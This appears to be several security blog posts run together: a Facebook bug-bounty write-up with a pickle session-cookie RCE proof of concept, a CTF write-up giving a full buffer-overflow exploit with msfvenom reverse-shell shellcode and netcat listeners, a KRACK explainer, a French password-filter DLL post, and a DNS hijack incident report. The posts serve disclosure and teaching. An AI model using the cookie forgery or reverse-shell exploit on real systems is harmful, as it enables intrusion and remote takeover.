Remote Code Execution on a Facebook server

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is my first paper which covers a vulnerability I discovered on one of Facebook’s servers.

While scanning an IP range that belongs to Facebook (199.201.65.0/24), I found a Sentry service hosted on 199.201.65.36, with the hostname sentryagreements.thefacebook.com. Sentry is a log collection web application, written in Python with the Django framework.

While I was looking at the application, some stacktraces regularly popped on the page, for an unknown reason. The application seemed to be unstable regarding the user password reset feature, which occasionally crashed. Django debug mode was not turned off, which consequently prints the whole environment when a stacktrace occurs. However, Django snips critical information (passwords, secrets, key…) in those stacktraces, therefore avoiding a massive information leakage.

However, by looking at the stacktrace a little more closely, some env keys were interesting :

  • The SESSION_COOKIE_NAME is sentrysid
  • The SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
  • The SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies
  • The SENTRY_OPTIONS key that contains some Sentry configuration in a list.

Pickle is a binary protocol for (un)serializing Python object structures, such as classes and methods in them. A comprehensive article that explains what Pickle is and its security implications is available here : https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/

If we were able to forge our own session that contains arbitrary pickle content, we could execute commands on the system. However, the SECRET_KEY that is used by Django for signing session cookies is not available in the stacktrace. However, the SENTRY_OPTIONS list contains a key named system.secret-key, that is not snipped. Quoting the Sentry documentation, system.secret-key is “a secret key used for session signing. If this becomes compromised it’s important to regenerate it as otherwise its much easier to hijack user sessions.“; wow, it looks like it’s a sort of Django SECRET-KEY override!

As we have everything to forge our own cookies with arbitrary pickle content, I wrote a little script that adds a payload into my own sentrysid cookie. Here it is :

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

This code is a simple proof of concept; it takes the content of an existing sentrysid cookie, and replaces its content with an arbitrary object that will run a os.system(“sleep 30”) when unserialized.

When using this cookie, the page actually takes an additional 30 seconds to load, which confirms the presence of the flaw.

Facebook acknowledged the vulnerability, took down the system until the flaw was patched, and then notified me about the patch being in place.

Here is the disclosure timeline, which also demonstrates that Facebook security staff is reactive 🙂 :

  • 30.07.2018 00:00 CEST : initial disclosure with every details.
  • 30.07.2018 15:25 CEST : triaged and system takedown.
  • 09.08.2018 18:10 CEST : patch in place.
  • 09.08.2018 20:10 CEST : a 5000$ bounty is awarded – the server was in a separate VLAN with no users’ specific data.

Thanks for reading!

Blaklis

Insomni’hack 2018 – vba03-strikeBack writeup

Here is a write-up for the challenge “vba03-strikeBack”, since none was posted yet on CTFtime.

All the source code for the malware and cookie logger are available on GitHub.

Task description

The teams had the following info:

What the frick mom? I fell for it for the THIRD time! Here is the file I downloaded:
VBA03 – Bitcoin value prediction 2.xls

(password for the zip file is “infected”)

Summary

How it works

  1. The .xls file contains an obfuscated VBA macro (same one as the “vba02-bitminer” challenge) that drops and runs a packed executable.
  2. The dropped executable configures a system wide HTTP proxy. If ran as administrator, it also installs a malicious self-signed root CA. An automatic proxy configuration script instructs the browsers to proxify only the traffic to hosts containing the word “bank”.
  3. Whenever a proxified HTTP response sets a new cookie through the Set-Cookie HTTP header, the proxy server logs the time, host and cookie. This allows the author of the malware to steal e-banking sessions.

How to solve

  1. Analyze the malware using either static or dynamic analysis and notice the proxy auto-configuration file hosted at ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac.
  2. Access the FTP and notice that it also hosts the source code and binary of the cookie logger.
  3. Find a simple buffer overflow vulnerability in the cookie logger and craft a proof-of-concept locally.
  4. Set-up an HTTP server and make it answer with a Set-Cookie header that has the PoC’s buffer as a cookie.
  5. In any web browser, access the HTTP server through the vulnerable proxy.
  6. Get a reverse shell and find the flag in the flag.txt file.

Malware analysis

Here is the source code of the malware (of course, this was not available to the teams).

Static analysis

The analysis part could be performed by de-obfuscating the VBA macro (it was the same one as the “vba02-bitminer” challenge) which it drops and executes a file named bot.txt in the %TEMP% folder, and reverse-engineering this executable.

The executable was packed with UPX, but a few bytes were modified in order to prevent trivial unpacking using upx -d.

UPX unpacking
Trivial UPX unpacking fails

Of course, manual unpacking of UPX is not hard, but in this case it was much quicker perform a dynamic analysis.

Dynamic analysis

Dynamic analysis consist in running the malware (in a sand-boxed environment, of course 😉) and analyzing what happens. For instance, it can be done using Process Monitor.

First, open the malicious Excel file, but do not enable macros yet. Then, start a capture in Process Monitor, enable the macros in Excel, and stop the capture.

In my case, Excel had the PID 9472, so I added a filter to only show entries whose PPID is 9472:

Process Monitor filter
Process Monitor filter

This only leaves entries from an executable named bot.txt. Among them, some events seem related to proxy configuration. More specifically, the AutoConfigURL registry key is modified.

Process Monitor events
Suspicious events related to proxy settings

Opening this event reveals the URL that is used for the AutoConfigURL: ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac.
"<tt

When the executable is ran as administrator, dynamic analysis would also reveal that a self-signed root CA is installed, (so that when a user browses to an HTTPS website, no warning is displayed). However, this part is not useful to solve the challenge.

Information gathering

.pac file

The .pac file is lightly obfuscated, but it can be de-obfuscated for instance using JSbeautifier.


/* Original */
var _0x2ed5=["\x2A\x62\x61\x6E\x6B\x2A","\x50\x52\x4F\x58\x59\x20\x64\x72\x2D\x65\x76\x69\x6C\x2E\x69\x6E\x73\x6F\x6D\x6E\x69\x2E\x68\x61\x63\x6B\x3A\x36\x36\x36\x36"];function FindProxyForURL(_0x8d97x2,_0x8d97x3){if(shExpMatch(_0x8d97x2,_0x2ed5[0])){return _0x2ed5[1]}}

/* De-obfuscated */
function FindProxyForURL(_0x8d97x2, _0x8d97x3) {
  if (shExpMatch(_0x8d97x2, '*bank*')) {
    return 'PROXY dr-evil.insomni.hack:6666'
  }
}

So, there seems to be an HTTP proxy on port 6666 of dr-evil.insomin.hack. The proxy is used only for URLs that contain the word “bank”, because Dr. Evil probably wants to steal e-banking sessions.

FTP server

Because the username (dr-evil) and password (Mwahahaha_666!) are in the URL of the .pac file, it is possible to browse the FTP and download the C source code cookie_logger.c and the corresponding binary cookie_logger. There is also the file flag.txt, but it is not readable.

Source code

Below is the content of cookie_logger.c. Let’s hope that Dr. Evil’s mastery of the C language is as good as their mastery of the English language.


#include 
#include 
#include 
#include 

/*
 * Mwahahaha!
 *
 * This scirpt log the cookie recieved from the Set-Cookie of HTTP responses!
 *
 * Example usage:
 * ./cookie_logger "www.npb-bank.ch" "PHPSESSID=0ae08d562bc9a5ab9ab9c737810c6d1a; path=/"
 *
 * [X] TODO_1: i tested it and it logs my own cookies! redact them
 * [X] TODO_2: someone told me they're is a bufer over flaw in the fix of TODO_1?! fix it azap
 * [ ] TODO_3: make it gooder (curently its only working with < 512 chars
 */

// fix for TODO_1, tested working
char* redact(char *buf, char *to_redact) {
  char redacted[512];
  if(strstr(to_redact,"dr-evil"))
    strcpy(redacted,"[REDACTED]");
  else { 
    strcpy(redacted,to_redact);
  }
  strncpy(buf,redacted,512);//fixed the buf over flaw! (TODO_2)
  return buf;
}

// Main 
int main(int argc, char **argv)
{
  char cookie[512];
  char host[512];
  
  //build the csv with a timestamp
  printf("\"%ld\",\"%s\",\"%s\"\n",time(NULL),redact(host,argv[1]),redact(cookie,argv[2]));
}

This program takes a host and a cookie as arguments and outputs them with a timestamp as CSV. It also redacts the hosts and cookie if they contain “dr-evil”, because Dr. Evil does not want their own cookies to be logged.

Buffer overflow

Dr. Evil alledgedly fixed the “bufer over flaw”, but they missed one in the redact function, where the second argument of the function is copied using strcpy.

Also, the binary has no buffer overflow protection, so there is no need to leak any address and the PoC can be developed locally.


$ checksec --file cookie_logger
RELRO          STACK CANARY     NX           PIE     RPATH     RUNPATH FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  No RUNPATH cookie_logger

Finding the offset that controls EIP

The tools pattern_create and pattern_offset can be used to determine the offset in the user input that controls EIP (the instruction pointer):


$ ./cookie_logger "www.example.com" "$(/usr/bin/msf-pattern_create --l 528)"
Segmentation fault
$ dmesg | tail -1
[309881.352326] cookie_logger[32684]: segfault at 35724134 ip 0000000035724134 sp 00000000ff90bce0 error 14
$ /usr/bin/msf-pattern_offset -q 35724134
[*] Exact match at offset 524

The 524-th to 527-th characters of the user input control EIP. Thus, the PoC skeleton will look like that:


import sys
padding = "X" * 524
eip = "ABCD"
buf = padding + eip
sys.stdout.write(buf)

Let’s test it:


$ ./cookie_logger "www.example.com" "$(python generate_payload.py)"
Segmentation fault
$ dmesg | tail -1
[310519.428977] cookie_logger[32726]: segfault at 44434241 ip 0000000044434241 sp 00000000ffff2260 error 14

There is a segmentation fault with EIP at 0x41424344 (in little-endian), which matches with the ABCD in the PoC skeleton.

Jumping to shellcode

Conveniently enough, the user-controlled input buf is returned by the vulnerable function, meaning that EAX will point to buf when the function returns.

Therefore, a simple jmp EAX gadget is enough to control the execution flow. The tool rp-lin-x64 (or any other ROP gadget finder) can be used to search for gadgets inside the binary.


$ ./rp-lin-x64 -f cookie_logger -r 1 | grep 'jmp eax'
[...]
0x080501b4: jmp eax ;
[...]

There are lots of jmp eax gadgets available. Let’s use the first one at 0x080501b4. Our PoC now looks like that:


import struct
import sys
shellcode = "\x68\xef\xbe\xad\xde\xc3" # push 0xdeadbeef;ret
padding = "X" * (524 - len(shellcode))
eip = struct.pack("I",0x080501b4) # jmp eax
buf = shellcode + padding + eip
sys.stdout.write(buf)

For now, the shellcode should jump to the address 0xdeadbeef. Let’s check that the shellcode is correctly executed:


$ ./cookie_logger "www.example.com" "$(python generate_payload.py)"
Segmentation fault
$ dmesg | tail -1
[313639.671886] cookie_logger[756]: segfault at deadbeef ip 00000000deadbeef sp 00000000ffcc2af0 error 14

Here is an illustration of the exploit so far. The red arrows represent the execution flow when the redact function returns.

Memory illustration
Execution flow when the redact function returns

Getting a reverse shell

The actual shellcode can be generated using msfvenom. In this case, I generated a reverse shell that connects back to my IP 192.168.17.102 on port 12345. Some characters should not be part of the shellcode since it will ultimately be parsed as a cookie inside an HTTP response: ‘\x00' (signals the end of a string in C), ‘;' (used to delimit cookies in the Set-Cookie HTTP header, ‘\n' and ‘\r' (used to delimit headers in the HTTP response).


import struct
# msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=192.168.17.102 LPORT=12345 --bad-chars ";\0d\x0a\x00" -f py -e x86/shikata_ga_nai
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\xbd\xf4\x41\xb7\xb8\x58\x33"
shellcode += "\xc9\xb1\x12\x31\x68\x17\x83\xe8\xfc\x03\x9c\x52\x55"
shellcode += "\x4d\x6d\x8e\x6e\x4d\xde\x73\xc2\xf8\xe2\xfa\x05\x4c"
shellcode += "\x84\x31\x45\x3e\x11\x7a\x79\x8c\x21\x33\xff\xf7\x49"
shellcode += "\x04\x57\x16\xef\xec\xaa\x19\xdf\xd5\x23\xf8\xaf\x40"
shellcode += "\x64\xaa\x9c\x3f\x87\xc5\xc3\x8d\x08\x87\x6b\x60\x26"
shellcode += "\x5b\x03\x14\x17\xb4\xb1\x8d\xee\x29\x67\x1d\x78\x4c"
shellcode += "\x37\xaa\xb7\x0f"
padding = "X" * (524 - len(shellcode))
eip = struct.pack("I",0x080501b4) # jmp eax
buf = shellcode + padding + eip

Also, the buffer should be used as a cookie, as follows:


print "HTTP/1.1 200 OK"
print "Date: Mon, 27 Jul 2009 12:28:53 GMT"
print "Server: Apache/2.2.14 (Win32)"
print "Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT"
print "Content-Length: 52"
print "Content-Type: text/html"
print "Connection: Closed"
print "Set-Cookie: " + buf # Insert the buffer here!
print ""
print "<html>"
print "<body>"
print "<h1>Hello, World!</h1>"
print "</body>"
print "</html>"
print ""
print ""

To trigger the buffer overflow on the vulnerable proxy, start by creating a basic HTTP server that serves the exploit (in this case using netcat):
shell


$ python generate_payload.py | nc -nlvp 80

In another terminal, create a listener for the reverse shell:


$ nc -nlvp 12345

Then, configure your web browser to use dr-evil.insomni.hack:6666 as proxy and visit your own web page, in this case http://192.168.17.102/.
You will get a reverse shell running as cookie-logger.


connect to [192.168.17.102] from (UNKNOWN) [10.13.37.66] 36434
$ whoami
cookie-logger

Finding the flag

It is now possible to read the flag.txt file, which contains a list of captured cookies. The flag is supposed to be the cookie of the malware author:


$ grep -i 'ins' -C 1 flag.txt
"1518702848","www.my100bank.com","PHPSESSID=0e015ef2438de2ae2e0b97f5586e1988; path=/"
"1518702863","[REDACTED]","flag=INS{C00ki3_St34l3r_St34l3r}; path=/"
"1518702879","www.summit.bank","dnn_IsMobile=False; path=/; secure; HttpOnly;language=en-US; path=/; secure; HttpOnly;.ASPXANONYMOUS=dP4qXPbc0wEkAAAANTViZGIzNTYtZGNmZS00ZjJhLTk4MDEtZWJmZDkxN2YxNWY40; expires=Thu, 26-Apr-2018 00:34:39 GMT; path=/; secure; HttpOnly;dnn_IsMobile=False; path=/; secure; HttpOnly;language=en-US; path=/; secure; HttpOnly;.ASPXANONYMOUS=dP4qXPbc0wEkAAAANTViZGIzNTYtZGNmZS00ZjJhLTk4MDEtZWJmZDkxN2YxNWY40; expires=Thu, 26-Apr-2018 00:34:39 GMT; path=/; secure; HttpOnly"

The flag is INS{C00ki3_St34l3r_St34l3r}.

WPA2 KRACK – What you should know so far … (in simple terms)

As most people, we have been waiting for the release of the technical details surrounding the  WPA2 vulnerabilities discovered by Mathy Vanhoef  (@vanhoefm).

While the details and the full paper (https://papers.mathyvanhoef.com/ccs2017.pdf) are now available, here is a summary aimed at providing the big picture as well as a few recommendations about this attack.

Note that we could at this stage not experiment ourselves with this attack (no PoC or exploit tool is publicly available yet) so this article is solely based on the information published by Mathy Vanhoef and on common knowledge about WiFi and WPA2 (aka Wikipedia).

WPA2

WPA2 is currently the standard security protocol used to protect WiFi networks. It replaces WPA (which was used a temporary standard) which in turn was meant to replace the original (and very weak) WEP protocol. Since March 2006, all devices bearing the WiFi logo must be WPA2-certified.

WPA2 comes in two different flavours, usually referred to as WPA2-PSK and WPA-Entreprise and that differ by their authentication details and, consequently, by the details of the Master Key (called Pairwise Master Key) derivation mechanism. While WPA2-PSK derives this key from a shared secret (called Pre-Shared Key), WPA-Entreprise derives it from an underlying authentication mechanism.

However, whatever the authentication and PMK derivation details, both flavours of WPA2 then use this master key to derive sessions keys (called Pairwise Transient Key) that are ultimately used to encrypt data over the air. This encryption also comes in various flavours which are :

  1. TKIP
    A deprecated encryption mechanism based on RC4 and meant to be retro-compatible with hardware initially designed for WEP encryption;
  2. CCMP
    The currently recommended encryption protocol, based on AES (in CTR mode) and CBC-MAC authentication code;
  3. GCMP
    A new mechanism (also based on AES but operating in Galois/Counter Mode) that is used by the 802.11ad variant of WiFi (branded WiGig). This protocol seems to be still mostly unknown today (to be honest I had never heard about it before reading Mathy’s paper) but is apparently meant to become very widespread in the future.

In order to encrypt the data that is sent over the network, these encryption algorithms operate as stream-ciphers (RC4 actually is a stream-cipher, AES is called a block-cipher but both CTR and GCM modes of operation are meant to allow it’s used as a stream-cipher). Stream-ciphers produce a continuous key-stream that is used to encrypt data (e.g. by XORing the two). This can result (depending on the cipher itself) on a very strong encryption mechanisms as long as some constraints are respected (e.g. having a strong randomness source for (random) elements used to generate the key-stream and never to re-use the same key-stream).

KRACK attacks in a nutshell

When a device connects to a (non-open) WiFi network, it establishes a dialog with (one of) the access point(s) that is meant to authenticate the device (prove that it has the Pre Shared Key or valid authentication credentials depending on the “flavour” used) and that ultimately leads to the establishment of a session key (PTK) that is used to encrypt the data over the network. This dialog is part of the WPA2 standard and is called “4-way handshake”. This “handshake” is not only used upon initial connection but it is also performed again afterwards, on a regular basis (e.g. every hour) to refresh the session key (agree on a new key).

As the name suggests, this exchange is based on 4 messages, carrying, among other things, a pair of nonces (“numbers used once”) – one chosen by the client (called supplicant in the standard) and the other by the access point (called authenticator) that have a direct impact on the key-stream that is generated by the ciphers.

An overview of the WPA2 4-way handshake is reproduced below (source: https://papers.mathyvanhoef.com/ccs2017.pdf)

Now … In very simple terms (much more technical details are available in Mathy Vanhoef’s paper ) Key Reinstallation Attacks leverage the fact that – because of a design flaw in the WPA2 protocol – if an attacker replays Msg3 of the handshake above, the (target) device will usually treat this replayed packet as if it had not already been received before and will used it to derive (again) the session key (remember that this message contains one of the nonces used to generate the key-stream).

This issue is partly due to the fact that – because it is a wireless protocol – WiFi (and thus WPA2) has to be designed to account for the possibility of having lost packets (interference, jamming, low signal, …). However the problem lies in the details of how this re-transmitted message is then used by the device (e.g. accepting to re-install a key that had already been used in the past).

In very simple terms, the attack is as follows : the attacker waits for the client device to receive Msg3, process it (thus establishing the session key) and respond with the last message of the exchange (Msg4). The attacker then blocks this message (more details below) thus preventing the access point from receiving it. After a timeout, having received no response to its previous Msg3, the access-point will re-send Msg3 again which will cause the client to re-process it and derive (again) the session key, re-setting the nonces (and various internal counters) to previously used values.

In the meantime (between the moment when Msg4 hs been sent by the client, and the new Msg3 is received) if the client has already used the session key to encrypt and send data on the network this will result in the same key-stream being used twice to encrypt data which is a major violation of the proper use conditions of a stream-cipher.

By using this the attacker can (under some additional constraints) decrypt the contents of the affected data packets.

What does the attacker need ?

In order to carry this attack, the attacker must be capable of, not only sniffing the (encrypted) data that travels over the air (that is always granted) but also to block and replay data packets that are exchanged between the client and the access point.

For that, Mathy Vanhoef relies on a technique called channel-based Man-in-the-Middle attack. Basically, the attacker creates a rogue access-point, with the same characteristics (including the AP’s MAC address) but on a different channel (frequency) and tricks the client in connecting to it instead of the legitimate AP. As a result of that, the client and the AP are on different frequencies and don’t “see” each other. The attacker then relays the messages between the two channels with the capability of blocking, delaying or replaying them as wanted.

What are the consequences ?

As the discovered flaws are inherent to the WPA2 standard, one could think that the attack and the consequences do not depend on the device’s manufacturer and/or software… However the reality seems to be quite different. Actually, many different behaviours are described by Mathy Vanhoef, depending on the device details (including some systems being less affected by the attacks because they are in actual violation of the standard).

But roughly speaking, the attacker will be able to perform one or several of the actions below (depending on the targeted devices and software) :

  • Decrypt the data packets sent over the network thus having access to the data sent by sent by the targets. Note that this data may still be encrypted by another mechanism (e.g. if the target is browsing an HTTPS website) however any clear-text traffic (e.g. HTTP) would be compromised;
  • Replay packets that have been previously sent by the targets;
  • Forge new packets and send (“inject”) them on the network. This could be used, for instance to inject malicious content in browsed webpages or replace downloaded files.

On the other hand, note that the attacker will NOT be able to (at least based on the information available so far) gain full access to your WiFi network (i.e. this attack does not allow to recover your WiFi’s password). This attacks thus does not have the same consequences as what has been observed in the past with WEP et even WPS (used to gain access to WPA2 networks).

The special case of Android…

The use of WPA(2) on most Linux systems relies on the use of a program called wpa_supplicant, that implements all the magic related to authenticating and connecting to WiFi networks.

During his research, Mathy Vanhoef discovered that a series of versions of wpa_supplicant – (2.3 to 2.6) in addition to being vulnerable to the key reinstallation attacks – suffered from an additional implementation flaw that resulted in much more catastrophic consequences for this attack. When targeted with this attacks, these versions of wpa_supplicant do not “simply” re-install the previously used key but they actually end up installing an all-zero key thus resulting in catastrophic consequences (the attacker can basically decrypt all the traffic sent by the device).

Android – being a Linux system – also relies on wpa_supplicant. Consequently, it seems that Android 6.0+ versions are affected by this issue thus exposing millions of devices to the most critical form of this attack.

Note that, from the results observed by Mathy Vanhoef, if you have an iOS device (or a Windows computer by the way) you are – on the other hand – only exposed to a very limited subset of these attacks.

What should we do ?

The affected device manufacturers and software editors have been informed by Mathy Vanhoef several months ago in order to allow for the development of fixes, several of which have already been published. A list of affected vendors (and status information) is available at this URL:

https://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=228519&SearchOrder=4

Consequently, you should  :

  1. Don’t panic ! It is not WiFi’s doomsday…
  2. Update and fix all your WiFi devices for which patches are available (access-points, routers, laptops, smartphones, tablets, “smart”-devices, …) as soon as possible;
  3. If possible, rely on additional layers of encryption (HTTPS, IPSec, …) on top of your WiFi network (that’s always true and recommended);
  4. Prefer the use of 4G over WiFi (as long as your devices are not patched). Note however that – in its worst case scenario – this attack does not have more serious considerations to your smartphone/tablet than being connected to any public WiFi network;

What’s next ?

Mathy Vanhoef did not – at this stage – publish an actual exploit tool and some of the attacks require non-trivial conditions to be carried. However it is quite obvious that these attacks will very soon be implemented in existing or new tools and ultimately be easily available.

Moreover it most probable that millions of devices (cheap Android smartphones/tablets, IoT devices, …) will never be updated (because the users will never apply the patches and – most of the time – because such patches will not be available).

Consequently, even if this issue will probably be solved on the long run in many corporate environments (as “easily” as deploying patches on a large scale on often non-centrally managed devices may be…), it may leave many home networks and end-user devices vulnerable for a long time.

More interestingly it may very well open the door for similar attacks on other protocols.

PassFilt.dll – Complexifier sa politique de mot de passe Windows

La gestion des mots de passe en entreprise est un challenge très complexe à appréhender. Les bonnes pratiques que l’on peut trouver un peu partout sont toutes d’accord pour augmenter la taille minimum d’un mot de passe tout en imposant un mélange de tous types de caractères.

Ajouter à cela la nécessité de changer régulièrement son mot de passe plus celui-ci circule sur le réseau (de manière hashé ou non) et nous obtenons en entreprise, sous windows, l’effet inverse à celui escompté en terme de robustesse.

En effet, les mots de passe ont évolué de simples mots souvent en rapport avec la vie personnelle des utilisateurs (nom des enfants, du chien…) à des mots de passe encore plus simple car directement liés à l’environnement de l’entreprise (Entreprise2017!, Entreprise33!, EntrepriseJuillet!)

Pour l’attaquant il suffit donc de générer un dictionnaire spécifique à l’entreprise (utilisant des permutations sur le nom, les chiffres, les mois, les saisons…) pour casser un très grand nombre de mots de passe sur un domaine Windows.

Pour complexifier sa politique de mot de passe, Windows offre deux solutions :

  • La première consiste à modifier la stratégie de mot de passe GPO et d’activer la règle “Le mot de passe doit respecter des exigences de complexité”. Malheureusement, ces exigences sont insuffisantes puisqu’elles vérifient simplement si le mot de passe contient 3 types de caractères différents et autorise donc les mots de passe faibles cités précédemment.

  • Sans juste milieu, la seconde méthode consiste à développer une Password Filter DLL personnalisée.

PassFilt.dll (Password Filter DLL)

Le traitement de la complexité d’un mot de passe est donc laissé à cette DLL qui peut obliger un utilisateur à respecter des règles bien plus complexe.

C’est lsass (Local Security Authority Subsystem) qui va dans un premier temps vérifier si le mot de passe est en accord avec la politique de complexité du domaine (défini dans la GPO) avant d’appeler la DLL.

Pour fonctionner, la DLL doit implémenter 3 fonctions :

  • InitializeChangeNotify(void);
    Appelée au chargement de la DLL si besoin d’initialiser des variables.
  • PasswordChangeNotify(Username, RelativeId, NewPassword);
    Appelée lorsque le mot de passe a bien été modifié.
  • PasswordFilter(AccountName, FullName, Password, SetOperation);
    C’est dans cette fonction que les nouvelles exigences de complexités vont être implémentées. Elle retourne simplement un booléen indiquant si oui ou non le mot de passe choisi est assez robuste.

Pour installer la DLL, son nom doit être présent dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages et elle doit être placée dans %WINDIR%\System32.

Bien sûr, tout administrateur windows doit être en mesure de développer en C/Cpp du code qui sera exécuté avec les privilèges les plus élevés et rendant instable tout le domaine en cas d’erreur…

Aucune solution open source ne semblait suffisamment aboutie pour être proposée à nos clients et nous avons donc décidé d’y remédier.

Options de complexité

Longueur du mot de passe

La règle sur la longueur rejettera les mots de passe contenant trop peu de caractères.

Complexité

La règle de complexité rejettera les mots de passe contenant une trop faible variété de types de caractères (minuscule, majuscule, chiffre, symbole).

Lettres consécutives

Les mots de passe contenant un trop grand nombre de lettres consécutives identiques seront rejetés.

Wordlist

Les mots de passe contenant des mots présents dans la wordlist seront rejetés. Le dictionnaire doit contenir un mot interdit par ligne. Vous pouvez utiliser un programme pour générer votre dictionnaire personnalisé (à l’aide de john the ripper par exemple).

Wordlist Token

Le mot de passe va être « tokénisé » à chaque changement de type de caractères. Par exemple pour le mot de passe “adminSCRT-2017″, les tokens suivants seront créés “admin”, “SCRT”, “2017”. Les tokens sont ensuite comparés à ce second dictionnaire. Si un token correspond exactement à un mot du dictionnaire, le mot de passe est refusé. Si “SCRT” se trouve dans ce dictionnaire, “adminSCRT-2017” sera refusé mais pas “12!*zqFSCRTZPODs

Installation

Toutes ces règles sont définies dans des clés de registres :

Pour éviter à l’administrateur du domaine de modifier ces clés de registres manuellement et ainsi lui faciliter la vie, une interface graphique a également été développée.

Au premier lancement de cet exécutable, celui-ci va:

  1. Extraire la DLL correspondante à votre système (32 ou 64 bits) et la placer dans %WINDIR%\System32
  2. Activer la fonctionnalité en ajoutant le nom de la DLL dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages
  3. Créer les différentes clés de registre contenant la politique de mots de passe personnalisée dans HKLM\SOFTWARE\Wow6432Node\PasswordFilter.

La mise en place d’une DLL PassFilt nécessite malheureusement le redémarrage du DC.

Par la suite, la modification de la configuration est instantanée et ne nécessite aucun redémarrage.

Dernier point, comme dit précédemment, la fonction PasswordFilter() ne retourne que « True » ou « False », il est donc impossible d’avertir directement l’utilisateur sur la raison du refus de son mot de passe.

Un fichier de log est donc créé sur le DC à l’emplacement souhaité et permettra à l’administrateur de connaître les raisons d’un refus de mot de passe.

Conclusion

Bien que la complexité des mots de passe doit être efficacement assurée, il ne faut pas oublier la contrainte que cela impose aux utilisateurs.

Il est bien plus intelligent de proposer et de former les collaborateurs à l’utilisation de gestionnaires de mots de passe. En effet, ces solutions permettent de régler complètement les problèmes de robustesse tout en améliorant l’expérience utilisateur.

Encore faut-il être connecté à sa session pour pouvoir exécuter son gestionnaire de mot de passe…

Vous pouvez directement utiliser la dernière release https://github.com/julesduvivier/PasswordFilterService/releases pour installer le PassFilt DLL pour windows server 2012 R2 (qui n’est pas compatible avec windows server 2008 R2).

Le code de la DLL est quant à lui disponible ici https://github.com/julesduvivier/PasswordFilter

Jules Duvivier

Numerous Swiss domain names temporarily hijacked

Last Friday at around 14:05 we noticed that our website (www.scrt.ch) along with some other services we use internally were no longer accessible. We immediately tried to figure out why that was and quickly noticed that our DNS requests were not returning the correct IP addresses.

As these responses were not only returned by our DNS server, but all servers globally, we had a short moment of anguish where we wondered whether we had forgotten to renew our domain name or if our account at our registrar had been hacked!

Thankfully none of these had happened as we observed that the DNS configuration at the registrar and in our name servers was not altered. So at 14:17 we contacted nic.ch to ask them whether they could tell us any more about what had happened. They informed us that they had received a change request from our registrar (Gandi) and that we should check with them. Following further discussion with them, they found that similar changes had been requested for 94 .ch and .li domain names.

We then contacted Gandi directly who told us that 751 of their domain names had been hijacked and they subsequently started to rollback the changes. By 15:05, everything was back in order, though we still haven’t received any news as to what made all of this possible in the first place.

Here’s some background information on the DNS protocol to better understand what happened.DNS resolution

Each time a web site or any resource is accessed using a fully qualified domain name such as www.scrt.ch, the DNS resolution process is run to obtain the IP address of the target system. DNS lookup walks through a hierarchical DNS structure which, abstracting any cache mechanism, works in the following manner:

  1. The client (eg a web browser, a mail gateway, a web proxy) queries its DNS resolver. In our case, the resolver is queried for the record www.scrt.ch. The resolver will then handle the resolution (recursive query) on behalf of the client.
  2. First, It will query one of the root DNS servers serving the internet globally. The root DNS server will consider the Top Level Domain (TLD), which in this example is .ch, and will provide the resolver with the IP address of the name server in charge of this TLD which for .ch is nic.ch (Switch).
  3. Then the resolver will query the name server at nic.ch which will in turn provide the resolver with the IP address of the name servers responsible for scrt.ch.
  4. Finally, the resolver will query the name server authoritative for scrt.ch and will get the IP address matching the record www.scrt.ch.

DNS configuration

As a domain owner, you must first use a registrar to register your domain name, which will handle most administrative tasks for you. The main information the registrar owns which is important for this discussion is the authoritative name servers for your domain.

The registrar will typically propagate this information through the DNS global infrastructure, which basically means informing the TLD registry about the IP addresses of the authoritative name server for your domain.

Here we are

The domain scrt.ch is registered at Gandi where we configure the IP addresses of our name servers. Gandi is responsible for propagating this information to nic.ch, enabling the resolution for our domain scrt.ch globally.

The attack

Last Friday, an attacker was able to compromise a technical provider used by Gandi to communicate with various TLD registries. This compromise allowed him to request changes to registries, including nic.ch, to modify the name server information for several domains, including ours.

At this point, a rogue DNS server was introduced in the DNS resolution path. Looking at the DNS resolution process described above, the hijack happened in step 3 where nic.ch was providing the rogue DNS server instead of the valid one to any resolver, allowing the attacker to redirect any requests for impacted domains to IP addresses owned by the attacker himself.

Gandi’s incident notification can be found here.

On our end, the impacts this attack had were:

  1. For an hour, the www.scrt.ch website was redirected to another host serving up an exploit kit that would try to infect vulnerable browsers. However, if you had visited our site previously, you would not have been affected as HTTP Strict-Transport-Security would have forced your browser to use a valid HTTPS which the attacker could not emulate, therefore resulting in a connection error. The only case where you might have been at risk is if you had never visited our site previously and you had an outdated vulnerable browser (and/or browser plugin), though if this is the case, attackers would probably not wait for you to visit our website to compromise you.
    If you want to check for the occurrence of a connection from one of your systems to the malicious web server, you can look for connections to the following IPs: 46.183.219.205, 46.183.219.206, 46.183.219.227.
  2. During the attack, all emails sent to scrt.ch addresses were not delivered to our server but to a foreign mail server which, according to tests performed during the attack, was not configured to accept emails for our domain. While it doesn’t seem to have been the objective here, this type of attack could potentially be used to read incoming emails while the name servers are poisoned.

In our case, we have always treated emails as inherently insecure and make sure to use other channels and encryption to transfer sensitive information.

Despite the fact that this incident was entirely out of our control, we will be taking steps to further reduce the impact such an attack could have in the future and of course recommend these to all of you reading this, as such attacks can happen to anyone:

